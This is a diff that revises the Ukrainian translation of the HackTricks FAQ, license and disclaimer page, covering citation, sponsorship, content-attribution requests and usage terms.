-## Поширені питання HackTricks +## HackTricks faq > [!TIP] > -> - **Дуже дякую за ці ресурси, як я можу вам подякувати?** +> - **Дякуємо за ці ресурси, як ми можемо вам подякувати?** -Ви можете публічно подякувати командам HackTricks за те, що вони зібрали всі ці ресурси, у твіті, згадавши [**@hacktricks_live**](https://twitter.com/hacktricks_live).\ +Ви можете публічно подякувати команді HackTricks за збирання всіх цих ресурсів у твіті, згадавши [**@hacktricks_live**](https://twitter.com/hacktricks_live).\ Якщо ви особливо вдячні, ви також можете [**sponsor the project here**](https://github.com/sponsors/carlospolop).\ -І не забудьте **поставити зірку проектам на Github!** (Посилання знайдете нижче). +І не забудьте **поставити зірку у проектах на Github!** (Посилання нижче). > [!TIP] > -> - **Як я можу зробити внесок у проєкт?** +> - **Як я можу долучитися до проєкту?** -Ви можете **поділитися новими порадами та трюками з спільнотою або виправити помилки**, які знаходите в книгах, надіславши **Pull Request** на відповідні сторінки Github: +Ви можете **поділитися новими порадами та трюками з спільнотою або виправити помилки**, які знайдете в книгах, надіславши **Pull Request** до відповідних сторінок на Github: - [https://github.com/carlospolop/hacktricks](https://github.com/carlospolop/hacktricks) - [https://github.com/carlospolop/hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud) -Не забудьте **поставити зірку проектам на Github!** +Не забудьте **поставити зірку у проектах на Github!** > [!TIP] > -> - **Чи можу я скопіювати частину контенту з HackTricks і розмістити її в своєму блозі?** +> - **Чи можу я копіювати частину контенту з HackTricks і розміщувати у себе в блозі?** -Так, можете, але **не забудьте вказати конкретні посилання**, звідки взято матеріал. +Так, ви можете, але **не забудьте вказати конкретні посилання**, звідки взято контент. > [!TIP] > -> - **Як я можу посилатися на сторінку HackTricks?** +> - **Як мені правильно посилатися на сторінку HackTricks?** -Поки вказане посилання **на** сторінку(и), звідки ви взяли інформацію, цього достатньо.\ +Поки видно посилання на сторінку(и), звідки ви взяли інформацію, цього достатньо.\ Якщо вам потрібен bibtex, ви можете використати щось на кшталт: ```latex @misc{hacktricks-bibtexing, @@ -62,82 +62,82 @@ url = {\url{https://book.hacktricks.wiki/specific-page}}, ``` > [!WARNING] > -> - **Can I copy all HackTricks in my blog?** +> - **Чи можу я скопіювати весь HackTricks у свій блог?** -**Я б краще не радив(ла)**. Це **ніхто не виграє**, оскільки весь **контент вже публічно доступний** в офіційних книгах HackTricks безкоштовно. +**Краще не варто**. Це **нікому не принесе користі**, оскільки весь **вміст вже публічно доступний** в офіційних HackTricks books безкоштовно. -Якщо ви боїтеся, що він зникне, просто зробіть fork на Github або завантажте його — як я вже казав, він уже безкоштовний. +Якщо ви боїтесь, що він зникне, просто форкніть його на Github або скачайте —, як я вже казав, він уже безкоштовний. > [!WARNING] > -> - **Why do you have sponsors? Are HackTricks books for commercial purposes?** +> - **Чому у вас є спонсори? Чи HackTricks books призначені для комерційних цілей?** -Першою **цінністю** HackTricks є надання **БЕЗКОШТОВНИХ** освітніх ресурсів з hacking для **УСІХ**. Команда HackTricks **присвятила тисячі годин**, щоб надати цей контент, знову ж таки, **БЕЗКОШТОВНО**. +Першою **цінністю** HackTricks є надання **БЕЗКОШТОВНИХ** освітніх ресурсів з hacking для **УСЬОГО** світу. Команда HackTricks присвятила **тисячі годин**, щоб запропонувати цей вміст, знову ж таки, **БЕЗКОШТОВНО**. -Якщо ви вважаєте, що книги HackTricks створені з **комерційною метою**, ви **ПОВНІСТЮ ПОМИЛЯЄТЕСЯ**. +Якщо ви вважаєте, що HackTricks books створені для **комерційних цілей**, ви **ПОВНІСТЮ НЕПРАВІ**. -У нас є спонсори, бо, навіть якщо весь контент БЕЗКОШТОВНИЙ, ми хочемо дати спільноті можливість **оцінити нашу роботу**, якщо вони цього бажають. Тому ми пропонуємо людям опцію пожертвувати HackTricks через [**Github sponsors**](https://github.com/sponsors/carlospolop), а також **відповідні компанії з кібербезпеки** можуть спонсорувати HackTricks і мати **декілька рекламних оголошень** в книзі — ці **реклами** завжди розміщені в місцях, де вони **помітні**, але **не заважають процесу навчання**, якщо хтось концентрується на контенті. +У нас є спонсори тому, що, навіть якщо весь контент БЕЗКОШТОВНИЙ, ми хочемо дати спільноті можливість оцінити нашу роботу, якщо вони цього бажають. Тому ми пропонуємо людям опцію пожертвувати HackTricks через [**Github sponsors**](https://github.com/sponsors/carlospolop), а також відповідним компаніям у сфері кібербезпеки спонсорувати HackTricks і розміщувати деякі оголошення в книзі; ці **оголошення** завжди розміщені в місцях, де вони **помітні**, але **не заважають процесу навчання**, якщо хтось зосереджений на контенті. -Ви не знайдете HackTricks, заповнений дратівливою рекламою, як на інших блогах з набагато меншим контентом, бо HackTricks не створений з комерційною метою. +Ви не знайдете HackTricks, наповнений нав'язливою рекламою, як інші блоги з набагато меншим обсягом контенту, тому що HackTricks не створено з комерційною метою. > [!CAUTION] > -> - **What should I do if some HackTricks page is based on my blog post but it isn't referenced?** +> - **Що мені робити, якщо якась сторінка HackTricks базується на моєму дописі в блозі, але на нього не посилаються?** -**Нам дуже шкода. Так бути не повинно.** Будь ласка, повідомте нам через Github issues, Twitter, Discord тощо — надішліть посилання на сторінку HackTricks з тим контентом та посилання на ваш блог, і **ми перевіримо це і додамо посилання якнайшвидше**. +**Нам дуже шкода. Так не мало статися**. Будь ласка, повідомте нам через Github issues, Twitter, Discord... посилання на сторінку HackTricks з цим вмістом та посилання на ваш блог, і **ми перевіримо це та додамо посилання якомога швидше**. > [!CAUTION] > -> - **What should I do if there is content from my blog in HackTricks and I don't want it there?** +> - **Що робити, якщо в HackTricks є вміст з мого блогу і я не хочу, щоб він там був?** -Зауважте, що наявність посилань на вашу сторінку в HackTricks: +Зверніть увагу, що наявність посилань на вашу сторінку в HackTricks: - Покращує ваше **SEO** -- Контент **перекладається більш ніж на 15 мов**, що дає більше людей доступ до матеріалу -- **HackTricks заохочує** людей **переглядати вашу сторінку** (кілька людей повідомляли, що з того часу, як їхня сторінка з’явилася в HackTricks, вони отримують більше відвідувань) +- Вміст **перекладається на більше ніж 15 мов**, що дозволяє більшій кількості людей отримати доступ до цього матеріалу +- **HackTricks заохочує** людей **перевірити вашу сторінку** (кілька людей повідомляли нам, що з того часу як деяка їхня сторінка з'явилася в HackTricks, вони отримують більше відвідувань) -Однак, якщо ви все ж хочете, щоб контент вашого блогу було видалено з HackTricks — просто дайте нам знати, і ми **безумовно видалимо всі посилання на ваш блог** та будь-який контент, що на ньому базується. +Проте, якщо ви все ще хочете, щоб вміст вашого блогу було видалено з HackTricks, просто дайте нам знати, і ми обов'язково **видалимо всі посилання на ваш блог** та будь-який вміст, що базується на ньому. > [!CAUTION] > -> - **What should I do if I find copy-pasted content in HackTricks?** +> - **Що робити, якщо я знаходжу скопіпащений вміст у HackTricks?** -Ми завжди **надаємо оригінальним авторам усі кредити**. Якщо ви знайдете сторінку з контентом, скопійованим без посилання на первинне джерело, повідомте нам — ми або **видалимо її**, або **додамо посилання перед текстом**, або **перепишемо матеріал, додавши посилання**. +Ми завжди **надаємо оригінальним авторам усі кредити**. Якщо ви знайдете сторінку зі скопіпащеним вмістом без посилання на оригінальне джерело, повідомте нам, і ми або **видалимо його**, або **додамо посилання перед текстом**, або **перепишемо його, додавши посилання**. ## LICENSE -Авторське право © Усі права захищені, якщо не вказано інше. +Copyright © All rights reserved unless otherwise specified. #### License Summary: -- Attribution: Ви вільні: -- Share — копіювати та розповсюджувати матеріал у будь-якому середовищі або форматі. -- Adapt — реміксувати, перетворювати та створювати похідні матеріали. +- Attribution: Вам дозволяється: +- Share — копіювати та поширювати матеріал у будь-якому середовищі або форматі. +- Adapt — реміксувати, перетворювати та створювати похідні матеріали на основі цього матеріалу. #### Additional Terms: -- Third-Party Content: Деякі частини цього блогу/книги можуть містити контент з інших джерел, наприклад уривки з інших блогів або публікацій. Використання такого контенту здійснюється на принципах fair use або з явного дозволу відповідних правовласників. Будь ласка, звертайтесь до оригінальних джерел для уточнення ліцензійних умов щодо стороннього контенту. -- Authorship: Оригінальний контент, створений HackTricks, підпадає під умови цієї ліцензії. Рекомендується вказувати автора при поширенні або адаптації цього матеріалу. +- Third-Party Content: Деякі частини цього блогу/книги можуть містити вміст з інших джерел, таких як витяги з інших блогів або публікацій. Використання такого вмісту здійснюється відповідно до принципів fair use або з явного дозволу відповідних правовласників. Будь ласка, звертайтеся до оригінальних джерел для отримання конкретної інформації про ліцензування контенту третіх сторін. +- Authorship: Оригінальний вміст, створений HackTricks, підлягає умовам цієї ліцензії. Рекомендується вказувати автора при поширенні або адаптації цієї роботи. #### Exemptions: -- Commercial Use: Для запитів щодо комерційного використання цього контенту, будь ласка, зв'яжіться зі мною. +- Commercial Use: Для запитів щодо комерційного використання цього вмісту, будь ласка, зв'яжіться зі мною. -Ця ліцензія не надає жодних прав на торгові марки або брендинг, пов'язані з контентом. Всі торгові марки й бренди, представлені в цьому блозі/книзі, належать їх відповідним власникам. +Ця ліцензія не надає жодних прав на торгові марки або брендинг, пов'язаних із вмістом. Усі торгові марки та бренди, які з'являються в цьому блозі/книзі, належать їх відповідним власникам. -**Отримуючи доступ або використовуючи HackTricks, ви погоджуєтесь дотримуватись умов цієї ліцензії. Якщо ви не згодні з цими умовами, будь ласка, не заходьте на цей вебсайт.** +**Отримуючи доступ до HackTricks або використовуючи його, ви погоджуєтесь дотримуватися умов цієї ліцензії. Якщо ви не погоджуєтесь з цими умовами, будь ласка, не заходьте на цей вебсайт.** ## **Disclaimer** > [!CAUTION] -> Ця книга, 'HackTricks', призначена виключно в освітніх та інформаційних цілях. Контент у цій книзі надається "як є", і автори та видавці не роблять жодних заяв або гарантій будь-якого роду, явних чи прихованих, щодо повноти, точності, надійності, придатності або доступності інформації, продуктів, послуг або графіки, що містяться в цій книзі. Будь-яке покладання на таку інформацію відбувається виключно на ваш власний ризик. +> Ця книга, 'HackTricks,' призначена виключно в освітніх і інформаційних цілях. Вміст цієї книги надається на основі «як є», і автори та видавці не дають жодних гарантій, явних або неявних, щодо повноти, точності, надійності, придатності чи доступності інформації, продуктів, послуг або пов'язаних графічних матеріалів, що містяться в цій книзі. Будь-яке покладання на таку інформацію здійснюється виключно на ваш власний ризик. > -> Автори та видавці ні в якому разі не несуть відповідальності за будь-які збитки чи втрати, включаючи, без обмежень, непрямі або наслідкові збитки, або будь-які втрати чи шкоду, що виникають у зв'язку з втратою даних або прибутку, що виникли внаслідок або у зв'язку з використанням цієї книги. +> Автори та видавці ні в якому разі не несуть відповідальності за будь-які збитки або втрати, включаючи, без обмежень, непрямі або наступні збитки чи втрати, або будь-які збитки чи втрати, що виникають у зв'язку зі втратою даних або прибутків у результаті використання цієї книги. > -> Крім того, прийоми та поради, описані в цій книзі, надаються лише в освітніх та інформаційних цілях і не повинні використовуватися для будь-якої незаконної або шкідливої діяльності. Автори та видавці не схвалюють і не підтримують будь-які незаконні або неетичні дії, і будь-яке використання інформації з цієї книги здійснюється на ризик та розсуд користувача. +> Крім того, техніки та поради, описані в цій книзі, надаються лише в освітніх та інформаційних цілях і не повинні використовуватися для будь-яких незаконних або шкідливих дій. Автори та видавці не схвалюють і не підтримують жодних незаконних або неетичних дій, і будь-яке використання інформації, що міститься в цій книзі, здійснюється на власний ризик і розсуд користувача. > -> Користувач несе повну відповідальність за будь-які дії, вжиті на основі інформації, що міститься в цій книзі, і завжди має звертатися за професійною порадою та допомогою при спробах реалізації будь-яких описаних тут технік або підказок. +> Користувач несе повну відповідальність за будь-які дії, здійснені на основі інформації, що міститься в цій книзі, і повинен завжди звертатися за професійною порадою та допомогою при спробі впровадити будь-які описані тут техніки чи поради. > -> Використовуючи цю книгу, користувач погоджується звільнити авторів і видавців від будь-якої відповідальності за будь-які збитки, втрати або шкоду, що можуть виникнути внаслідок використання цієї книги або будь-якої інформації, що міститься в ній. +> Використовуючи цю книгу, користувач погоджується звільнити авторів і видавців від будь-якої відповідальності та зобов'язань за будь-які збитки, втрати або шкоду, які можуть виникнути в результаті використання цієї книги або будь-якої інформації, що міститься в ній. {{#include ../banners/hacktricks-training.md}}